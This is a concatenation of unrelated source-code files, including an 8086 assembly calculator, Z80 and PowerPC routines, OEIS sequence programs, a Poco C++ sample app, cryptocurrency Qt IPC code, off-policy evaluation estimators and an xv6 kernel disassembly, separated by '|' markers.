msg_welcome db '<< Minimal arithmetic calculator in 8086 assembly >>$'
msg_about db '( developed by Mohammad Salek ^^ )$'
msg_result db 'The result is:$'
msg_wrong_number_input db 'Error: wrong input! (number should be between 0-9)$'
msg_wrong_operator_input db 'Error: wrong input! (valid operators: +, -, *, /)$'
msg_error db 'Error!$'
msg_exiting db 'Exiting now...$'
newLine db 10, 13, '$'
space db 32, '$'
text_num1 db '(num1)', 32, ':', 32, '$'
text_num2 db '(num2)', 32, ':', 32, '$'
text_oprtr db '(oprtr): $'
text_equal db '=$'
;one digit calculation:
num1 db ?, '$'
num2 db ?, '$'
carry db 0, '$'
res db ?, '$'
.code
print_header:
lea dx, msg_welcome
call print
call print_newLine
call print_newLine
before_input1:
lea dx, text_num1
call print
mov bx, 0
jmp get_input1
get_input1:
call get_input
mov input1[bx], al
check_number:
cmp al, '0'
jb wrong_input_number
cmp al, '9'
jg wrong_input_number
jmp correct_number
wrong_input_number:
call wrong_num
jmp ending
correct_number:
inc bx
cmp bx, size
jge before_operator
jmp get_input1
before_operator:
call print_newLine
lea dx, text_oprtr
call print
jmp get_operator
get_operator:
call get_input
mov operator, al
check_operator:
cmp al, 43;'+'
je correct_operator
cmp al, 45;'-'
je correct_operator
cmp al, 42;'*'
je correct_operator
cmp al, 47;'/'
je correct_operator
jmp wrong_input_operator
wrong_input_operator:
call wrong_operator
jmp ending
correct_operator:
jmp before_input2
before_input2:
call print_newLine
mov bx, 0
lea dx, text_num2
call print
jmp get_input2
get_input2:
call get_input
mov input2[bx], al
check_number2:
cmp al, '0'
jb wrong_input_number2
cmp al, '9'
jg wrong_input_number2
jmp correct_number2
wrong_input_number2:
call wrong_num
jmp ending
correct_number2:
inc bx
cmp bx, size
jge operations
jmp get_input2
operations:
mov dl, operator
cmp dl, '+'
je _sum_
cmp dl, '-'
je _sub_
cmp dl, '*'
je _mul_
cmp dl, '/'
je _div_
jmp ending
_sum_:
call proc_sum
jmp ending
_sub_:
call proc_sub
jmp ending
_mul_:
call proc_mul
jmp ending
_div_:
call proc_div
jmp ending
ending:
_show_final_res_in_ascii:
mov si, 0
mov ax, res_size
dec ax ;last index
_skip_the_first_zeros:
inc si
mov dl, final_res[si]
cmp dl, 0
je _skip_the_first_zeros
_add_48_to_final_res:
add final_res[si], 48
inc si
cmp si, ax
jg _add_48_done
jmp _add_48_to_final_res
_add_48_done:
mov si, res_size
mov final_res[si], '$'
call print_newLine
call print_newLine
lea dx, final_res
call print
call print_newLine
call print_newLine
call print_newLine
lea dx, msg_exiting
call print
call print_newLine
call print_newLine
lea dx, msg_about
call print
ret
get_input proc
mov ah, 01h
int 21h
ret
get_input endp
print_newLine proc
lea dx, newLine
mov ah, 09h
int 21h
ret
print_newLine endp
print_space proc
lea dx, space
mov ah, 09h
int 21h
ret
print_space endp
print proc
mov ah, 09h
int 21h
ret
print endp
proc_sum proc
;move number1 to the final_res array:
_SUM_num1_to_array:
mov bx, size
mov si, res_size
dec bx
dec si
_SUM_add_num1_to_array_:
mov cl, input1[bx]
sub cl, 48
mov final_res[si], cl
dec bx
dec si
cmp bx, 0
jl _SUM_after_num1_added_to_array
jmp _SUM_add_num1_to_array_
_SUM_after_num1_added_to_array:
_SUM_48_from_input2:
mov bx, size
dec bx
_SUM_48_loop_:
mov cl, input2[bx]
sub cl, 48
mov input2[bx], cl
dec bx
cmp bx, 0
jl _SUM_48_done_
jmp _SUM_48_loop_
_SUM_48_done_:
_SUM_before_sum_loop:
mov bx, size
dec bx
mov si, res_size
dec si
mov carry, 0
_SUM_loop:
mov cl, carry
add cl, input2[bx]
add cl, final_res[si]
cmp cl, 10
jge _SUM_handle_carry
mov carry, 0 ;remove the carry
_SUM_after_carry_handled:
mov final_res[si], cl
dec bx
dec si
cmp bx, 0
jl _SUM_end_loop
jmp _SUM_loop
_SUM_handle_carry:
sub cl, 10
mov carry, 1
jmp _SUM_after_carry_handled
_SUM_end_loop:
cmp carry, 0
je _SUM_carry_is_zero
;carry is not zero:
_SUM_carry_not_zero:
mov cl, carry
add cl, final_res[si]
cmp cl, 10
jge _SUM_carry_one_more_time
jmp _SUM_finish_carry
_SUM_carry_one_more_time:
sub cl, 10
mov final_res[si], cl
mov carry, 1
dec si
jmp _SUM_carry_not_zero
_SUM_finish_carry:
mov final_res[si], cl
_SUM_carry_is_zero:
_SUM_ending:
ret
proc_sum endp
proc_sub proc
call find_larger_num
cmp larger_num, 0
je _sub_num1_to_array
;transfer input1 to input2:
mov bx, size
dec bx
_sub_transfer_loop:
mov dl, input1[bx]
mov dh, input2[bx]
mov input2[bx], dl
mov input1[bx], dh
dec bx
cmp bx, 0
jl _sub_transfer_done
jmp _sub_transfer_loop
_sub_transfer_done:
;move number1 to the final_res array:
_sub_num1_to_array:
mov bx, size
mov si, res_size
dec bx
dec si
_sub_add_num1_to_array:
mov cl, input1[bx]
sub cl, 48
mov final_res[si], cl
dec bx
dec si
cmp bx, 0
jl _sub_after_num1_added_to_array
jmp _sub_add_num1_to_array
_sub_after_num1_added_to_array:
sub_48_from_input2:
mov bx, size
dec bx
_sub_48_loop_:
mov cl, input2[bx]
sub cl, 48
mov input2[bx], cl
dec bx
cmp bx, 0
jl _sub_48_done_
jmp _sub_48_loop_
_sub_48_done_:
sub_before_loop:
xor dl, dl
mov carry, 0
mov si, res_size
mov bx, size ;index of input2
dec si
dec bx
_loop_cout_sub:
mov dl, final_res[si]
sub dl, input2[bx]
sub dl, carry
js _it_is_negative
mov carry, 0
_continue_after_neg:
mov final_res[si], dl
dec si
dec bx
cmp bx, 0
jl _sub_finish_
jmp _loop_cout_sub
_it_is_negative:
add dl, input2[bx]
add dl, carry
add dl, 10
sub dl, input2[bx]
sub dl, carry
mov carry, 1
jmp _continue_after_neg
_sub_finish_:
cmp carry, 0
je _sub_carry_is_zero
;There should not be any carry left!!
lea dx, msg_error
call print
_sub_carry_is_zero:
mov si, -1
mov ax, res_size
dec ax ;last index
_sub_skip_the_first_zeros:
inc si
mov dl, final_res[si]
cmp dl, 0
je _sub_skip_the_first_zeros
_sub_add_neg_sign_if_neg:
cmp larger_num, 1
jne _sub_add_48_to_final_res
mov final_res[si-1], '-' ;else it's negative!
sub final_res[si-1], 48
_sub_add_48_to_final_res:
;this section is deleted here
_sub_add_48_to_final_done:
ret
proc_sub endp
proc_mul proc
;move input2 to extra_array:
mov bx, size
dec bx
_MUL_loop_move_to_array:
mov al, input2[bx]
sub al, 48
mov extra_array[bx], al
dec bx
cmp bx, 0
jl _MUL_moving_to_array_done
jmp _MUL_loop_move_to_array
_MUL_moving_to_array_done:
;until extra_array is zero:
_MUL_extra_array_zero_check:
mov bx, size
dec bx
_MUL_till_extra_array_zero_loop:
mov al, extra_array[bx]
cmp al, 0
jne _MUL_extra_array_NOT_zero
cmp bx, 0
jl _MUL_extra_array_is_zero
dec bx
jmp _MUL_till_extra_array_zero_loop
;add input1 to final_res:
_MUL_extra_array_NOT_zero:
mov bx, size
dec bx
mov si, res_size
dec si
mov carry, 0
_MUL_loop_to_add_all_input1_digits:
mov al, input1[bx]
sub al, 48
add al, final_res[si]
add al, carry
cmp al, 10
jge _MUL_carry_to_sum
jmp _MUL_no_carry
_MUL_no_carry:
mov final_res[si], al
mov carry, 0
jmp _MUL_next_digit
_MUL_carry_to_sum:
sub al, 10
mov final_res[si], al
mov carry, 1
jmp _MUL_next_digit
_MUL_next_digit:
dec bx
dec si
cmp bx, 0
jl _MUL_add_loop_done
jmp _MUL_loop_to_add_all_input1_digits
_MUL_add_loop_done:
_MUL_check_carry_loop:
cmp carry, 0
je _MUL_carry_check_done
mov al, final_res[si]
add al, carry
cmp al, 10
jge _MUL_carry_NOT_zero_again
jmp _MUL_carry_is_zero_this_time
_MUL_carry_NOT_zero_again:
sub al, 10
mov final_res[si], al
dec si
mov carry, 1
jmp _MUL_check_carry_loop
_MUL_carry_is_zero_this_time:
mov final_res[si], al
dec si
mov carry, 0
jmp _MUL_check_carry_loop
_MUL_carry_check_done:
;sub 'one' from extra_array(extra_array is always bigger than 0):
mov bx, size
dec bx
_MUL_sub_one_loop:
mov al, extra_array[bx]
cmp al, 0
je _MUL_we_have_neg_carry
sub al, 1
mov extra_array[bx], al
jmp _MUL_sub_is_done
_MUL_we_have_neg_carry:
mov extra_array[bx], 9
dec bx
jmp _MUL_sub_one_loop
;check if extra_array is zero:
_MUL_sub_is_done:
jmp _MUL_extra_array_zero_check
_MUL_extra_array_is_zero:
ret
proc_mul endp
proc_div proc
;if input2 is 0, output error:
mov bx, size
dec bx
_DIV_input2_zero_check_loop:
mov al, input2[bx]
cmp al, '0'
jne _DIV_input2_is_NOT_zero
dec bx
cmp bx, 0
jl _DIV_input2_IS_zero
jmp _DIV_input2_zero_check_loop
_DIV_input2_IS_zero:
call print_newLine
call print_newLine
lea dx, msg_error
call print
jmp _DIV_its_done
_DIV_input2_is_NOT_zero:
;copy input1 to extra_array:
mov bx, size
dec bx
_DIV_copy_loop:
cmp bx, 0
jl _DIV_copy_complete
mov al, input1[bx]
mov extra_array[bx], al
dec bx
jmp _DIV_copy_loop
_DIV_copy_complete:
;compare input2 with extra_array:
_DIV_compare_things:
mov bx, 0
_DIV_compare_loop:
cmp bx, size
jge _DIV_were_equal
mov al, extra_array[bx]
cmp al, input2[bx]
jg _DIV_extra_array_is_bigger
jl _DIV_extra_array_is_smaller
inc bx
jmp _DIV_compare_loop
_DIV_were_equal:
jmp _DIV_extra_array_is_bigger
;extra_array is bigger or equal: sub i2 from extra_array and add 1 to final_res
_DIV_extra_array_is_bigger:
mov bx, size
dec bx
mov carry, 0
_DIV_sub_loop:
mov al, extra_array[bx]
add al, 10
sub al, input2[bx]
sub al, carry
cmp al, 10
jge _DIV_no_carry_needed
jmp _DIV_carry_needed
_DIV_no_carry_needed:
sub al, 10
add al, 48
mov extra_array[bx], al
mov carry, 0
jmp _DIV_next_digit
_DIV_carry_needed:
add al, 48
mov extra_array[bx], al
mov carry, 1
jmp _DIV_next_digit
_DIV_next_digit:
dec bx
cmp bx, 0
jl _DIV_add_one_to_final_res
jmp _DIV_sub_loop
;add one to final_res:
_DIV_add_one_to_final_res:
mov bx, res_size
dec bx
mov carry, 0
_DIV_add_one_loop:
mov al, final_res[bx]
add al, carry
add al, 1
cmp al, 10
jge _DIV_we_have_carry
jmp _DIV_no_carry_here
_DIV_we_have_carry:
sub al, 10
mov final_res[bx], al
mov carry, 1
dec bx
jmp _DIV_handle_carry
_DIV_handle_carry:
mov al, final_res[bx]
add al, carry
cmp al, 10
jge _DIV_we_have_carry
jmp _DIV_no_carry_here
_DIV_no_carry_here:
mov final_res[bx], al
mov carry, 0
jmp _DIV_compare_things
;extra_array is less: it's done, show the final_res:
_DIV_extra_array_is_smaller:
jmp _DIV_its_done
_DIV_its_done:
ret
proc_div endp
wrong_num proc
call print_newLine
lea dx, msg_wrong_number_input
call print
ret
wrong_num endp
wrong_operator proc
call print_newLine
lea dx, msg_wrong_operator_input
call print
ret
wrong_operator endp
find_larger_num proc
mov bx, 0
mov dx, size
dec dx
larger_find_loop:
mov dl, input1[bx]
mov dh, input2[bx]
cmp dl, dh
jl input2_is_larger:
jg _find_larger_finish:
inc bx
cmp bx, dx
jge _find_larger_finish
jmp larger_find_loop
input2_is_larger:
mov larger_num, 1
jmp _find_larger_finish
_find_larger_finish:
ret
find_larger_num endp
end |
:MyEventHandler
mflr r0
stw r0,8(r1)
stwu r1,-32(r1)
mr r3,r4
li r4,'--'
addis r4,r4,'--'
li r5,'md'
addis r5,r5,'hc'
li r6,0
li r7,14
li r8,0
addi r9,r2,*HICommand
bl *GetEventParameter
lwz r2,20(r1)
addi r3,r2,*HICommand
lwz r3,4(r3)
li r4,'it'
addis r4,r4,'qu'
cmp 0,0,r3,r4
beq *quit
li r4,'ep'
addis r4,r4,'be'
cmp 0,0,r3,r4
beq *beep
b *endhand
#---------------handlers---------------
:quit
bl *ExitToShell
lwz r2,20(r1)
b *endhand
:beep
bl *SysBeep
lwz r2,20(r1)
b *endhand
#---------------handlers---------------
:endhand
addi r1,r1,32
lwz r0,8(r1)
mtlr r0
blr
|
; FASTCALL boolean and 32 version.
; Performs 32bit and 32bit and returns the boolean
; result in Accumulator (0 False, not 0 True)
; First operand in DE,HL 2nd operand into the stack
__AND32:
ld a, l
or h
or e
or d
sub 1
sbc a
ld c, a
pop hl
pop de
ld a, d
or e
pop de
or d
or e
sub 1
sbc a
or c
cpl
jp (hl)
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Text Library
FILE: UI/uiManager.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 7/91 Initial version
DESCRIPTION:
$Id: uiManager.asm,v 1.1 97/04/07 11:16:54 newdeal Exp $
------------------------------------------------------------------------------@
;------------------------------------------------------------------------------
; Common GEODE stuff
;------------------------------------------------------------------------------
include textGeode.def
include textui.def
include textssp.def
;---
include system.def
UseLib Objects/colorC.def
DefLib Objects/Text/tCtrlC.def
;------------------------------------------------------------------------------
; Our very own class
;------------------------------------------------------------------------------
TextSuspendOnApplyInteractionClass class GenInteractionClass
TextSuspendOnApplyInteractionClass endc
NoGraphicsTextClass class GenTextClass
;
; A class we use to disallow the pasting of graphics
;
NoGraphicsTextClass endc
ifdef GPC_SEARCH
OverrideCenterOnMonikersClass class GenInteractionClass
OverrideCenterOnMonikersClass endc
endif
;------------------------------------------------------------------------------
; Resource definitions
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Resources
;------------------------------------------------------------------------------
include uiManager.rdef
;------------------------------------------------------------------------------
; Code
;------------------------------------------------------------------------------
include uiUtils.asm
include uiTextStyle.asm
include uiFont.asm
include uiPointSize.asm
include uiCharFGColor.asm
include uiCharBGColor.asm
include uiFontAttr.asm
include uiJustification.asm
include uiParaSpacing.asm
include uiLineSpacing.asm
include uiDefaultTabs.asm
include uiParaBGColor.asm
include uiDropCap.asm
include uiParaAttr.asm
include uiBorder.asm
include uiBorderColor.asm
include uiHyphenation.asm
include uiMargin.asm
include uiTab.asm
include uiTextCount.asm
;include uiTextPosition.asm
include uiTextStyleSheet.asm
include uiSearchReplace.asm
include uiNoGraphicsText.asm
include uiC.asm
include uiTextRuler.asm
include uiHelp.asm
|
#include <Poco/Util/Application.h>
#include <Poco/Util/Option.h>
#include <Poco/Util/OptionSet.h>
#include <Poco/Util/HelpFormatter.h>
#include <Poco/Util/AbstractConfiguration.h>
#include <Poco/AutoPtr.h>
#include <iostream>
#include <sstream>
#include "Scanner.h"
#include "StatsHandler.h"
using Poco::Util::Application;
using Poco::Util::Option;
using Poco::Util::OptionSet;
using Poco::Util::HelpFormatter;
using Poco::Util::AbstractConfiguration;
using Poco::Util::OptionCallback;
using Poco::AutoPtr;
class App : public Application
{
public:
App() : _helpRequested(false)
{
}
protected:
void initialize(Application& self)
{
loadConfiguration(); // load default configuration files, if present
Application::initialize(self);
// add your own initialization code here
}
void uninitialize()
{
// add your own uninitialization code here
Application::uninitialize();
}
void reinitialize(Application& self)
{
Application::reinitialize(self);
// add your own reinitialization code here
}
void defineOptions(OptionSet& options)
{
Application::defineOptions(options);
options.addOption(
Option("help", "h", "display help information on command line arguments")
.required(false)
.repeatable(false)
.callback(OptionCallback<App>(this, &App::handleHelp)));
options.addOption(
Option("define", "D", "define a configuration property")
.required(false)
.repeatable(true)
.argument("name=value")
.callback(OptionCallback<App>(this, &App::handleDefine)));
options.addOption(
Option("config-file", "f", "load configuration data from a file")
.required(false)
.repeatable(true)
.argument("file")
.callback(OptionCallback<App>(this, &App::handleConfig)));
options.addOption(
Option("bind", "b", "bind option value to test.property")
.required(false)
.repeatable(false)
.argument("value")
.binding("test.property"));
}
void handleHelp(const std::string& name, const std::string& value)
{
_helpRequested = true;
displayHelp();
stopOptionsProcessing();
}
void handleDefine(const std::string& name, const std::string& value)
{
defineProperty(value);
}
void handleConfig(const std::string& name, const std::string& value)
{
loadConfiguration(value);
}
void displayHelp()
{
HelpFormatter helpFormatter(options());
helpFormatter.setCommand(commandName());
helpFormatter.setUsage("OPTIONS");
helpFormatter.setHeader("A sample application that demonstrates some of the features of the Poco::Util::Application class.");
helpFormatter.format(std::cout);
}
void defineProperty(const std::string& def)
{
std::string name;
std::string value;
std::string::size_type pos = def.find('=');
if (pos != std::string::npos) {
name.assign(def, 0, pos);
value.assign(def, pos + 1, def.length() - pos);
}
else name = def;
config().setString(name, value);
}
int main(const ArgVec& args)
{
if (!_helpRequested) {
logger().information("Command line:");
std::ostringstream ostr;
for (ArgVec::const_iterator it = argv().begin(); it != argv().end(); ++it) {
ostr << *it << ' ';
}
logger().information(ostr.str());
logger().information("Arguments to main():");
for (ArgVec::const_iterator it = args.begin(); it != args.end(); ++it) {
logger().information(*it);
}
logger().information("Application properties:");
printProperties("");
Scanner scanner("/home/danny/Music");
scanner.addHandler(new StatsHandler());
scanner.scan();
}
return Application::EXIT_OK;
}
void printProperties(const std::string& base)
{
AbstractConfiguration::Keys keys;
config().keys(base, keys);
if (keys.empty()) {
if (config().hasProperty(base)) {
std::string msg;
msg.append(base);
msg.append(" = ");
msg.append(config().getString(base));
logger().information(msg);
}
}
else {
for (AbstractConfiguration::Keys::const_iterator it = keys.begin(); it != keys.end(); ++it) {
std::string fullKey = base;
if (!fullKey.empty()) fullKey += '.';
fullKey.append(*it);
printProperties(fullKey);
}
}
}
private:
bool _helpRequested;
};
POCO_APP_MAIN(App)
/*
std::cout << "Hello world" << std::endl;
PathList pl("/home/danny/Pictures");
//set handlers:
// script handler
// soft-link newers
// delete newers
// ui handler (that can do all)
pl.scan();*/ |
// Copyright (c) 2009-2012 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <boost/version.hpp>
#if defined(WIN32) && BOOST_VERSION == 104900
#define BOOST_INTERPROCESS_HAS_WINDOWS_KERNEL_BOOTTIME
#define BOOST_INTERPROCESS_HAS_KERNEL_BOOTTIME
#endif
#include "qtipcserver.h"
#include "guiconstants.h"
#include "ui_interface.h"
#include "util.h"
#include <boost/algorithm/string/predicate.hpp>
#include <boost/date_time/posix_time/posix_time.hpp>
#include <boost/interprocess/ipc/message_queue.hpp>
#include <boost/version.hpp>
#if defined(WIN32) && (!defined(BOOST_INTERPROCESS_HAS_WINDOWS_KERNEL_BOOTTIME) || !defined(BOOST_INTERPROCESS_HAS_KERNEL_BOOTTIME) || BOOST_VERSION < 104900)
#warning Compiling without BOOST_INTERPROCESS_HAS_WINDOWS_KERNEL_BOOTTIME and BOOST_INTERPROCESS_HAS_KERNEL_BOOTTIME uncommented in boost/interprocess/detail/tmp_dir_helpers.hpp or using a boost version before 1.49 may have unintended results see svn.boost.org/trac/boost/ticket/5392
#endif
using namespace boost;
using namespace boost::interprocess;
using namespace boost::posix_time;
#if defined MAC_OSX || defined __FreeBSD__
// URI handling not implemented on OSX yet
void ipcScanRelay(int argc, char *argv[]) { }
void ipcInit(int argc, char *argv[]) { }
#else
static void ipcThread2(void* pArg);
static bool ipcScanCmd(int argc, char *argv[], bool fRelay)
{
// Check for URI in argv
bool fSent = false;
for (int i = 1; i < argc; i++)
{
if (boost::algorithm::istarts_with(argv[i], "ecocoin:"))
{
const char *strURI = argv[i];
try {
boost::interprocess::message_queue mq(boost::interprocess::open_only, BITCOINURI_QUEUE_NAME);
if (mq.try_send(strURI, strlen(strURI), 0))
fSent = true;
else if (fRelay)
break;
}
catch (boost::interprocess::interprocess_exception &ex) {
// don't log the "file not found" exception, because that's normal for
// the first start of the first instance
if (ex.get_error_code() != boost::interprocess::not_found_error || !fRelay)
{
printf("main() - boost interprocess exception #%d: %s\n", ex.get_error_code(), ex.what());
break;
}
}
}
}
return fSent;
}
void ipcScanRelay(int argc, char *argv[])
{
if (ipcScanCmd(argc, argv, true))
exit(0);
}
static void ipcThread(void* pArg)
{
// Make this thread recognisable as the GUI-IPC thread
RenameThread("ecocoin-gui-ipc");
try
{
ipcThread2(pArg);
}
catch (std::exception& e) {
PrintExceptionContinue(&e, "ipcThread()");
} catch (...) {
PrintExceptionContinue(NULL, "ipcThread()");
}
printf("ipcThread exited\n");
}
static void ipcThread2(void* pArg)
{
printf("ipcThread started\n");
message_queue* mq = (message_queue*)pArg;
char buffer[MAX_URI_LENGTH + 1] = "";
size_t nSize = 0;
unsigned int nPriority = 0;
while (true)
{
ptime d = boost::posix_time::microsec_clock::universal_time() + millisec(100);
if (mq->timed_receive(&buffer, sizeof(buffer), nSize, nPriority, d))
{
uiInterface.ThreadSafeHandleURI(std::string(buffer, nSize));
MilliSleep(1000);
}
if (fShutdown)
break;
}
// Remove message queue
message_queue::remove(BITCOINURI_QUEUE_NAME);
// Cleanup allocated memory
delete mq;
}
void ipcInit(int argc, char *argv[])
{
message_queue* mq = NULL;
char buffer[MAX_URI_LENGTH + 1] = "";
size_t nSize = 0;
unsigned int nPriority = 0;
try {
mq = new message_queue(open_or_create, BITCOINURI_QUEUE_NAME, 2, MAX_URI_LENGTH);
// Make sure we don't lose any bitcoin: URIs
for (int i = 0; i < 2; i++)
{
ptime d = boost::posix_time::microsec_clock::universal_time() + millisec(1);
if (mq->timed_receive(&buffer, sizeof(buffer), nSize, nPriority, d))
{
uiInterface.ThreadSafeHandleURI(std::string(buffer, nSize));
}
else
break;
}
// Make sure only one bitcoin instance is listening
message_queue::remove(BITCOINURI_QUEUE_NAME);
delete mq;
mq = new message_queue(open_or_create, BITCOINURI_QUEUE_NAME, 2, MAX_URI_LENGTH);
}
catch (interprocess_exception &ex) {
printf("ipcInit() - boost interprocess exception #%d: %s\n", ex.get_error_code(), ex.what());
return;
}
if (!NewThread(ipcThread, mq))
{
delete mq;
return;
}
ipcScanCmd(argc, argv, false);
}
#endif
|
#include "ope_methods.h"
#include "utils.h"
float batch::importance_sampling_estimate(const std::vector<Trajectory> &trajs,
bool weighted, bool per_decision, int L) {
double estimate = 0;
// getIWs takes care of normalization for weighted or unweighted.
MatrixXd rhot = getIWs(trajs, weighted, L);
for (unsigned int i=0; i < trajs.size(); i++) {
if (per_decision){
for (int t=0; t < trajs[i].len; t++) {
estimate += trajs[i].rewards[t] * rhot(i, t);
}
} else {
estimate += trajs[i].R * rhot(i, trajs[i].len - 1);
}
}
return estimate;
}
float batch::model_based_estimate(std::vector<Trajectory> &trajs,
const Policy &pi, const Environment *env) {
float estimate;
std::vector<Trajectory*> model_data;
for (auto & traj : trajs){
model_data.push_back(&traj);
}
Model m(model_data, env->getNumStates(), env->getNumActions(),
env->getMaxTrajLen(), false);
m.loadEvalPolicy(pi, env->getMaxTrajLen());
estimate = m.evalPolicyValue;
return estimate;
}
void batch::smooth_IWs(std::vector<Trajectory> &trajs, float p, int num_actions) {
float prob;
float uniform_prob = 1.0 / num_actions;
for (auto & traj : trajs) {
for (int t=0; t < traj.len; t++) {
// prob = traj.actionProbabilities[t] / traj.IWs[t];
// std::cout << prob - traj.actionProbabilities[t] << std::endl;
prob = traj.actionProbabilities[t];
prob = p * uniform_prob + (1 - p) * prob;
traj.IWs[t] = traj.evalActionProbabilities[t] / prob;
traj.cumIWs[t] = traj.IWs[t];
if (t != 0)
traj.cumIWs[t] *= traj.cumIWs[t-1];
}
}
}
float batch::doubly_robust_estimate(std::vector<Trajectory> &trajs, const Policy &pi,
const Environment *env, bool weighted) {
float estimate = 0;
bool half_data = true;
bool v2 = false;
int limit = trajs.size();
int L = env->getMaxTrajLen();
if (half_data)
limit = limit / 2;
std::vector<Trajectory*> model_data;
std::vector<Trajectory> dr_data;
for (unsigned int i=0; i < limit; i++)
model_data.push_back(&trajs[i]);
if (not half_data)
limit = 0;
for (unsigned int i=limit; i < trajs.size(); i++)
dr_data.push_back(trajs[i]);
Model m(model_data, env->getNumStates(), env->getNumActions(), L, false);
m.loadEvalPolicy(pi, L);
double PDISEstimate = importance_sampling_estimate(dr_data, weighted, true, L);
double baseline = 0;
for (int t = 0; t < env->getMaxTrajLen(); t++) {
double term_t = 0, IWSum = 0;
for (unsigned int i = 0; i < dr_data.size(); i++) {
double rHat = 0;
if (t < dr_data[i].len) { // Else Rhat = 0
// Compute Q differently depending on whether or not we are using v2
double Q;
int s = dr_data[i].states[t], a = dr_data[i].actions[t];
if (v2) {
// The lines below should be equivalent to:
// Q = m.Rsa[t](s,a);, but without using m.Rsa (which takes a long time to load)
Q = 0;
//if (t != L-1) {
int numStates = m.P.size();
for (int sPrime = 0; sPrime <= numStates; sPrime++) {
Q += m.P[s][a][sPrime] * m.R[s][a][sPrime];
}
//}
if (t < dr_data[i].len-1)
Q += m.V[t+1](dr_data[i].states[t+1]);
}
else {
Q = m.Q[t](s,a);
}
rHat = Q;
if (t < dr_data[i].len - 1)
rHat -= m.V[t + 1](dr_data[i].states[t + 1]);
term_t += dr_data[i].cumIWs[t] * rHat;
IWSum += dr_data[i].cumIWs[t];
} else {
IWSum += dr_data[i].cumIWs[dr_data[i].len-1];
}
}
if (weighted)
term_t /= IWSum;
else
term_t /= (double)dr_data.size();
baseline += term_t;
}
double lastTerm = 0;
for (unsigned int i = 0; i < dr_data.size(); i++)
lastTerm += m.V[0](dr_data[i].states[0]);
lastTerm /= static_cast<double>(dr_data.size()); // No importance weights - always one.
baseline -= lastTerm;
std::cout << baseline << std::endl;
return PDISEstimate - baseline;
// return lastTerm;
}
|
; A275970: a(n) = 3*2^n + n - 1.
; 2,6,13,26,51,100,197,390,775,1544,3081,6154,12299,24588,49165,98318,196623,393232,786449,1572882,3145747,6291476,12582933,25165846,50331671,100663320,201326617,402653210,805306395,1610612764,3221225501,6442450974,12884901919,25769803808,51539607585,103079215138,206158430243,412316860452,824633720869,1649267441702,3298534883367,6597069766696,13194139533353,26388279066666,52776558133291,105553116266540,211106232533037,422212465066030,844424930132015,1688849860263984,3377699720527921,6755399441055794
mov $1,2
pow $1,$0
mul $1,3
add $1,$0
sub $1,1
|
; A004760: List of numbers whose binary expansion does not begin 10.
; 0,1,3,6,7,12,13,14,15,24,25,26,27,28,29,30,31,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226
mov $2,$0
lpb $0
mov $0,$2
sub $0,$1
trn $0,1
add $1,$2
sub $1,$0
lpe
mov $0,$1
|
; database.asm
BTile proc
::TILE_IMAGES:
; BTile Best
; FileName Indices Viewed As Notes
NirvanaDemo equ ($-BTile)/Sprites.BTileLen
import_bin "..\tiles\nirvana+.btile" ; 000-016 17 x 1 NIRVANA+ demo sprites
pend
WTile proc
::WIDE_IMAGES:
; BTile Best
; FileName Indices Viewed As Notes
Monster equ ($-WTile)/Sprites.BTileLen
import_bin "..\tiles\monster.wtile" ; 000-007 4 x 2 Preshifted monster
Blank equ ($-WTile)/Sprites.BTileLen
import_bin "..\tiles\blank.wtile" ; 008-008 1 x 1 Blank
pend
MenuText proc ; Named procedure to keep our print data tidy
db At, 7, 13 ; These codes are the same as you would use
db Paper, Black, Bright, 1 ; with Sinclair BASIC's PRINT command
db Ink, Red, "Z"
db Ink, Yellow, "A"
db Ink, Cyan, "L"
db Ink, Magenta, "A"
db Ink, White, "X"
db Ink, Green, "A"
db At, 21, 6
db Ink, Yellow, "PRESS "
db Ink, White, "SPACE"
db Ink, Yellow, " TO START"
Length equ $-MenuText ; Let Zeus do the work of calculating the length
pend ; ($ means the current address Zeus is assembling to)
|
; A033043: Sums of distinct powers of 6.
; 0,1,6,7,36,37,42,43,216,217,222,223,252,253,258,259,1296,1297,1302,1303,1332,1333,1338,1339,1512,1513,1518,1519,1548,1549,1554,1555,7776,7777,7782,7783,7812,7813,7818,7819,7992,7993,7998,7999,8028,8029,8034,8035,9072,9073,9078,9079,9108,9109,9114,9115,9288,9289,9294,9295,9324,9325,9330,9331,46656,46657,46662,46663,46692,46693,46698,46699,46872,46873,46878,46879,46908,46909,46914,46915,47952,47953,47958,47959,47988,47989,47994,47995,48168,48169,48174,48175,48204,48205,48210,48211,54432,54433,54438,54439
add $0,8190
seq $0,32927 ; Numbers whose set of base 6 digits is {1,2}.
sub $0,2612138803
|
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 .byte 0xe4
8010000c <entry>:
# Entering xv6 on boot processor, with paging off.
.globl entry
entry:
# Turn on page size extension for 4Mbyte pages
movl %cr4, %eax
8010000c: 0f 20 e0 mov %cr4,%eax
orl $(CR4_PSE), %eax
8010000f: 83 c8 10 or $0x10,%eax
movl %eax, %cr4
80100012: 0f 22 e0 mov %eax,%cr4
# Set page directory
movl $(V2P_WO(entrypgdir)), %eax
80100015: b8 00 90 10 00 mov $0x109000,%eax
movl %eax, %cr3
8010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
8010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PG|CR0_WP), %eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
movl %eax, %cr0
80100025: 0f 22 c0 mov %eax,%cr0
# Set up the stack pointer.
movl $(stack + KSTACKSIZE), %esp
80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp
# Jump to main(), and switch to executing at
# high addresses. The indirect call is needed because
# the assembler produces a PC-relative instruction
# for a direct jump.
mov $main, %eax
8010002d: b8 e0 2d 10 80 mov $0x80102de0,%eax
jmp *%eax
